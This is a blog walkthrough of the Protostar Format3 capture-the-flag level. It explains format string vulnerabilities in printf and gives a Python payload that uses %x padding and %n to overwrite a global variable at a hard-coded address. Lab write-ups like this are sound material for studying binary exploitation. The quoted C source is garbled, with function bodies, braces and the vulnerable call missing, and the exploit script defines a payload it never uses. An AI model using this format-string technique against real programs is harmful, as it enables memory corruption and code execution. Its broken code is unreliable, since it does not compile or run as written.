Binary Exploitation Protostar Format3 - Walkthrough - writeup

Posted by Suraj Singh on May 10, 2018 · 4 mins read
Hello Guyz,

Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Format3 Level.

In this level, Our goal is to overwrite Return pointer Address And So, That In Future We can use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just need to prove that with this vulnerability we can overwrite the EIP register but here comes another difficulty of this level. As Already mentioned in the hint

We have to use Format String Vulnerability To Overwrite our Instruction Pointer Register.

After Searching, About this vulnerability, I found below-mentioned articles very useful. So, Use below mention links as the reference of format string vulnerability.

2. StackOverflow
3.  PDF

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb

Source Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)

void vuln()
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);


if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);

int main(int argc, char **argv)


This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.

This level is at /opt/protostar/bin/format3


After Some Google and Reading Some Paper. I found that
     printf family functions are really very prone to format string vulnerability. it can be very dangerous for a program if a programmer doesn't use these function carefully.

Step 1:
| AAAAAA %x%x%x%x%x%x%x%x%x%x%x%x |
%x will print arguments from the top of stack
check exact padding between the starting of our string Onto the top of stack through printf vulnerability %x

Step 2:
%5$x : Here, $ sign helps in selecting exact index of string. so, we can use this advantage.
%5$n : n, expression can write number of bytes onto pointing address.

| Address1, Address2 %number_of_bytesx%1$n %number_of_bytesx%2$n |



import struct

t = 0x01025544
c = struct.pack("I",0x80496f4)

payload = c + "%"+str(int(t))+"x%x%x%n"

print c + "%x"*10+"%"+str(t-57)+"x"+"%n"

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Bitforestinfo YouTube Protostar CTF Playlist